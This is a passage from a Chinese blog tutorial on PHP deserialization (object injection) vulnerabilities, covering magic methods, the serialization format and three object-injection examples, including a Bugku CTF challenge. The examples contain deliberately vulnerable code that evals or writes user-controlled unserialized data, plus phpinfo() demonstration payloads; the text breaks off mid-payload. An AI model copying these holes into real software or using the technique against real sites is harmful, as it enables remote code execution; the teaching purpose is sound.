月老牵线木偶 發表於 2020-10-19 19:15:00

3. php反序列化从入门到放弃(入门篇)

<p><img src="https://img2020.cnblogs.com/blog/1344396/202009/1344396-20200927230206003-1159912218.png" alt="" width="498" height="280" loading="lazy"></p>
<p>Hvv期间爆出来一个漏洞:<span style="background-color: rgba(255, 255, 153, 1)">Yii框架反序列化RCE利用链</span>。php反序列化已经从最开始的CTF宠儿,到现在框架的pop利用链构造,利用方式也越来越多样化。遂来系统性的学习一下php反序列化,本系列文章会从php反序列化漏洞的基础开始(入门篇),结合一些cms实例来学习pop利用链的构造,最后对Yii框架反序列化RCE利用链漏洞进行分析(放弃篇)。</p>
<h1>php反序列化基础</h1>
<h2>php类与对象</h2>
<p>类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> people{
   </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">定义类属性(类似变量),public 代表可见性(公有)</span>
    <span style="color: rgba(0, 0, 255, 1)">public</span> $name = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">joker</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
   </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">定义类方法(类似函数)</span>
   <span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function smile(){
      echo $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;name.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)"> is smile...\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
   }
}

$psycho </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> people(); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">根据people类实例化对象</span>
$psycho-&gt;<span style="color: rgba(0, 0, 0, 1)">smile();
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202009/1344396-20200928003651352-129549575.png" alt="" width="700" height="227" loading="lazy"></p>
<p>上述代码定义了一个<span style="background-color: rgba(255, 255, 153, 1)">people</span>类,并在在类中定义了一个<span style="background-color: rgba(255, 255, 153, 1)">public</span>类型的变量<span style="background-color: rgba(255, 255, 153, 1)">\$name</span>和类方法<span style="background-color: rgba(255, 255, 153, 1)">smile</span>。然后实例化一个对象<span style="background-color: rgba(255, 255, 153, 1)">\$psycho</span>,去调用<span style="background-color: rgba(255, 255, 153, 1)">people</span>类里面的<span style="background-color: rgba(255, 255, 153, 1)">smile</span>方法,打印出结果。</p>
<p>这就是php类与对象最基础的使用。</p>
<h2>魔术方法</h2>
<p>为什么被称为魔法方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以 <span style="background-color: rgba(255, 255, 153, 1)">__(两个下划线)</span>开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 <span style="background-color: rgba(255, 255, 153, 1)">__</span> 为前缀。下表为php常见的魔术方法:</p>
<table style="border: 2px solid rgba(29, 29, 0, 1); height: 488px; width: 1000px" border="2" cellpadding="2" align="center">
<tbody>
<tr>
<td style="width: 150px; text-align: center">方法名</td>
<td style="text-align: center">作用</td>
</tr>
<tr>
<td style="width: 150px; text-align: center"><span style="background-color: rgba(255, 255, 255, 1)">__construct</span></td>
<td style="text-align: center"><span style="background-color: rgba(255, 255, 255, 1)">构造函数,在创建对象时候初始化对象,一般用于对变量赋初值</span></td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__destruct</td>
<td style="text-align: center">析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__toString</td>
<td style="text-align: center">当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__wakeup()</td>
<td style="text-align: center">使用unserialize时触发,反序列化恢复对象之前调用该方法</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__sleep()</td>
<td style="text-align: center">使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__destruct()</td>
<td style="text-align: center">对象被销毁时触发</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__call()</td>
<td style="text-align: center">在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__callStatic()</td>
<td style="text-align: center">在静态上下文中调用不可访问的方法时触发</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__get()</td>
<td style="text-align: center">读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__set()</td>
<td style="text-align: center">在给不可访问属性赋值时,即在调用私有属性的时候会自动执行</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__isset()</td>
<td style="text-align: center">当对不可访问属性调用isset()或empty()时触发</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__unset()</td>
<td style="text-align: center">当对不可访问属性调用unset()时触发</td>
</tr>
<tr>
<td style="width: 150px; text-align: center">__invoke()</td>
<td style="text-align: center">当脚本尝试将对象调用为函数时触发</td>
</tr>
</tbody>
</table>
<p>额外提一下<span style="background-color: rgba(255, 255, 153, 1)">__tostring</span>的具体触发场景:</p>
<blockquote>
<p>(1)&nbsp; echo(\$obj) / print(\$obj)&nbsp;打印时会触发</p>
<p>(2) 反序列化对象与字符串连接时</p>
<p>(3) 反序列化对象参与格式化字符串时</p>
<p>(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)</p>
<p>(5) 反序列化对象参与格式化SQL语句,绑定参数时</p>
<p>(6) 反序列化对象在经过php字符串函数,如&nbsp;strlen()、addslashes()时</p>
<p>(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用</p>
<p>(8) 反序列化的对象作为&nbsp;class_exists()&nbsp;的参数的时候</p>
</blockquote>
<p>举个例子:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> animal {
      </span><span style="color: rgba(0, 0, 255, 1)">private</span> $name = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">caixukun</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;

      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function sleep(){
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;hr&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            echo $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;name . <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)"> is sleeping...\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __wakeup(){
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;hr&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">调用了__wakeup()方法\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct(){
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;hr&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">调用了__construct()方法\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __destruct(){
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;hr&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">调用了__destruct()方法\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __toString(){
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;hr&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">调用了__toString()方法\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __set($key, $value){
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;hr&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">调用了__set()方法\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
      </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __get($key) {
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;hr&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">调用了__get()方法\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
    }
   
    $ji </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> animal();
    $ji</span>-&gt;name = <span style="color: rgba(128, 0, 128, 1)">1</span><span style="color: rgba(0, 0, 0, 1)">;
    echo $ji</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">name;
    $ji</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">sleep();
    $ser_ji </span>=<span style="color: rgba(0, 0, 0, 1)"> serialize($ji);
    </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">print_r($ser_ji);</span>
<span style="color: rgba(0, 0, 0, 1)">    print_r(unserialize($ser_ji))
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202009/1344396-20200929174704829-1177244300.png" alt="" width="843" height="545" loading="lazy"></p>
<h2>php序列化/反序列化</h2>
<p>在开发的过程中常常遇到需要把对象或者数组进行序列号存储,反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时,我们时常需要将数组进行序列号操作。</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">php序列化(serialize)</span>:是将变量转换为可保存或传输的字符串的过程</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">php反序列化(unserialize)</span>:就是在适当的时候把这个字符串再转化成原来的变量使用</p>
<p>这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。</p>
<p>常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。&nbsp;</p>
<h3>序列化</h3>
<p>举个序列化小栗子:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span> <span style="color: rgba(0, 0, 255, 1)">object</span><span style="color: rgba(0, 0, 0, 1)">{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> $team = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">joker</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 0, 255, 1)">private</span> $team_name = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">hahaha</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 0, 255, 1)">protected</span> $team_group = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">biubiu</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;

    function hahaha(){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;$team_members = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">奥力给</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
$</span><span style="color: rgba(0, 0, 255, 1)">object</span> = <span style="color: rgba(0, 0, 255, 1)">new</span> <span style="color: rgba(0, 0, 255, 1)">object</span><span style="color: rgba(0, 0, 0, 1)">();
echo serialize($</span><span style="color: rgba(0, 0, 255, 1)">object</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202009/1344396-20200929192014515-988100232.png" alt="" width="964" height="190" loading="lazy"></p>
<p>以上是序列化之后的结果,o代表是一个对象,6是对象object的长度,3的意思是有三个类属性,后面花括号里的是类属性的内容,s表示的是类属性team的类型,4表示类属性team的长度,后面的以此类推。<span style="background-color: rgba(255, 255, 255, 1); color: rgba(255, 0, 0, 1)">值得一提的是,类方法并不会参与到实例化里面</span>。</p>
<p>需要注意的是变量受到不同修饰符(<span style="background-color: rgba(255, 255, 153, 1)">public,private,protected</span>)修饰进行序列化时,序列化后变量的长度和名称会发生变化。</p>
<ul>
<li>使用<span style="background-color: rgba(255, 255, 153, 1)">public</span>修饰进行序列化后,变量<span style="background-color: rgba(255, 255, 153, 1)">$team</span>的长度为4,正常输出。</li>
<li>使用<span style="background-color: rgba(255, 255, 153, 1)">private</span>修饰进行序列化后,会在变量<span style="background-color: rgba(255, 255, 153, 1)">$team_name</span>前面加上类的名称,在这里是<span style="background-color: rgba(255, 255, 153, 1)">object</span>,并且长度会比正常大小多2个字节,也就是<span style="background-color: rgba(255, 255, 153, 1)">9+6+2=17</span>。</li>
<li>使用<span style="background-color: rgba(255, 255, 153, 1)">protected</span>修饰进行序列化后,会在变量<span style="background-color: rgba(255, 255, 153, 1)">$team_group</span>前面加上<span style="background-color: rgba(255, 255, 153, 1)">*</span>,并且长度会比正常大小多3个字节,也就是<span style="background-color: rgba(255, 255, 153, 1)">10+3=13</span>。</li>
</ul>
<p>通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:</p>
<blockquote>
<p>1. 受Private修饰的私有成员,序列化时: \x00 +&nbsp; [私有成员所在类名]&nbsp; + \x00 [变量名]</p>
<p>&nbsp;</p>
<p>2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]</p>
<p>&nbsp;</p>
<p>其中,"\x00"代表ASCII为0的值,即空字节," * " 必不可少。</p>
</blockquote>
<p>序列化格式中的字母含义:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">a - array                  b -<span style="color: rgba(0, 0, 0, 1)"> boolean
d </span>- <span style="color: rgba(0, 0, 255, 1)">double</span>                   i -<span style="color: rgba(0, 0, 0, 1)"> integer
o </span>- common <span style="color: rgba(0, 0, 255, 1)">object</span>            r -<span style="color: rgba(0, 0, 0, 1)"> reference
s </span>- <span style="color: rgba(0, 0, 255, 1)">string</span>                   C - custom <span style="color: rgba(0, 0, 255, 1)">object</span><span style="color: rgba(0, 0, 0, 1)">
O </span>- <span style="color: rgba(0, 0, 255, 1)">class</span>                  N - <span style="color: rgba(0, 0, 255, 1)">null</span><span style="color: rgba(0, 0, 0, 1)">
R </span>- pointer reference      U - unicode <span style="color: rgba(0, 0, 255, 1)">string</span></span></pre>
</div>
<h3>反序列化</h3>
<p>反序列化的话,就依次根据规则进行反向复原。</p>
<p>这边定义一个字符串,然后使用反序列化函数<span style="background-color: rgba(255, 255, 153, 1)">unserialize</span>进行反序列化处理,最后使用var_dump进行输出:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    $ser </span>= <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    $ser </span>=<span style="color: rgba(0, 0, 0, 1)"> unserialize($ser);
    var_dump($ser);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202009/1344396-20200929194738092-1161003756.png" alt="" width="881" height="189" loading="lazy"></p>
<h2>php反序列化漏洞(对象注入)</h2>
<p>在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。</p>
<p>挖掘反序列化漏洞的条件是:</p>
<blockquote>
<p>  1. 代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。</p>
<p>&nbsp;</p>
<p>  2. unserialize()函数的参数可控。</p>
</blockquote>
<h3>php对象注入示例一:</h3>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> A{
    </span><span style="color: rgba(0, 0, 255, 1)">var</span> $test = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">demo</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    function __destruct(){
      @eval($</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">test);
    }
}
$test </span>= $_POST[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">test</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
$len </span>= strlen($test)+<span style="color: rgba(128, 0, 128, 1)">1</span><span style="color: rgba(0, 0, 0, 1)">;
$p </span>= <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">O:1:\"A\":1:{s:4:\"test\";s:</span><span style="color: rgba(128, 0, 0, 1)">"</span>.$len.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">:\"</span><span style="color: rgba(128, 0, 0, 1)">"</span>.$test.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;\";}</span><span style="color: rgba(128, 0, 0, 1)">"</span>; <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)"> 构造序列化对象</span>
$test_unser = unserialize($p); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)"> 反序列化同时触发_destruct函数</span>
?&gt;</span></pre>
</div>
<p>&nbsp;如上代码,最终的目的是通过调用<span style="background-color: rgba(255, 255, 153, 1)">__destruct()</span>这个析构函数,将恶意的payload注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>反序列化的时候,会触发<span style="background-color: rgba(255, 255, 153, 1)">__destruct()</span>方法,同时也可以触发<span style="background-color: rgba(255, 255, 153, 1)">__wakeup()</span>方法。但是如果想注入恶意payload,还需要对<span style="background-color: rgba(255, 255, 153, 1)">$test</span>的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的<span style="background-color: rgba(255, 255, 153, 1)">$test</span>变量进行覆盖。</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202009/1344396-20200929233734011-2008054684.png" alt="" width="634" height="241" loading="lazy"></p>
<p>可以看到当我们传入的参数为 <span style="background-color: rgba(255, 255, 153, 1)">phpinfo()</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202009/1344396-20200929234306679-1330437518.png" alt="" width="310" height="294" loading="lazy"></p>
<p>这样的话在调用<span style="background-color: rgba(255, 255, 153, 1)">__destruct</span>方法执行eval之前就把变量$test的值替换成恶意payload。</p>
<h3>php对象注入示例二:</h3>
<p>这是来自bugku的一道题。题目地址</p>
<p>index.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$txt </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">txt</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">];
$file </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">];
$password </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">password</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 0, 255, 1)">if</span>(isset($txt)&amp;&amp;(file_get_contents($txt,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">r</span><span style="color: rgba(128, 0, 0, 1)">'</span>)===<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">welcome to the bugkuctf</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">))
{
    echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">hello friend!&lt;br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 0, 255, 1)">if</span>(preg_match(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">/flag/</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">,$file))
    {
       echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">不能现在就给你flag哦</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
       exit();
    }
    </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">
    {
       include($file);
       $password </span>=<span style="color: rgba(0, 0, 0, 1)"> unserialize($password);
       echo $password;
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">
{
       echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">you are not the number of bugku ! </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
}
</span>?&gt;</span></pre>
</div>
<p>hint.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span> Flag{<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">flag.php</span>
    <span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $file;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __tostring(){
      </span><span style="color: rgba(0, 0, 255, 1)">if</span>(isset($<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">file)){
            echo file_get_contents($</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">file);
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            </span><span style="color: rgba(0, 0, 255, 1)">return</span> (<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">good</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
      }
    }
}
</span>?&gt;</span></pre>
</div>
<p>hint.php文件中使用了魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__tostring()</span>方法,当一个对象被当作一个字符串被调用时即可触发,方法的主要作用是读取并打印传进来的<span style="background-color: rgba(255, 255, 153, 1)">$file</span>,估计是通过反序列化漏洞来读取<span style="background-color: rgba(255, 255, 153, 1)">flag.php</span>的内容。追踪以下调用链,在<span style="background-color: rgba(255, 255, 153, 1)">index.php</span>文件中发现使用<span style="background-color: rgba(255, 255, 153, 1)">echo</span>将反序列化的对象当作字符串打印,此处就会触发<span style="background-color: rgba(255, 255, 153, 1)">__tostring()</span>方法,并且<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>内的变量可控,满足反序列化漏洞条件。直接构造payload:(关于使用php://filter进行任意文件的读取,参照p牛:《谈一谈php://filter的妙用》)</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202009/1344396-20200930002010479-937198130.png" alt="" width="863" height="231" loading="lazy"></p>
<h3>php对象注入示例三:</h3>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> test{
    </span><span style="color: rgba(0, 0, 255, 1)">var</span> $test = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">123</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    function __wakeup(){
      $fp </span>= fopen(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flag.php</span><span style="color: rgba(128, 0, 0, 1)">"</span>,<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">w</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
      fwrite($fp,$</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">test);
      fclose($fp);
    }
}
$a </span>= $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">id</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
print_r($a);
echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;/br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
$a_unser </span>=<span style="color: rgba(0, 0, 0, 1)"> unserialize($a);
require </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flag.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
</span>?&gt;      </span>      </pre>
</div>
<p>如上代码主要通过调用魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__wakeup</span>将<span style="background-color: rgba(255, 255, 153, 1)">$test</span>的值写入flag.php文件中,当调用<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>反序列化操作时会触发<span style="background-color: rgba(255, 255, 153, 1)">__wakeup</span>魔术方法,接下来就需要构造传进去的payload,先生成payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> test{
    </span><span style="color: rgba(0, 0, 255, 1)">var</span> $test = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;?php phpinfo(); ?&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
}
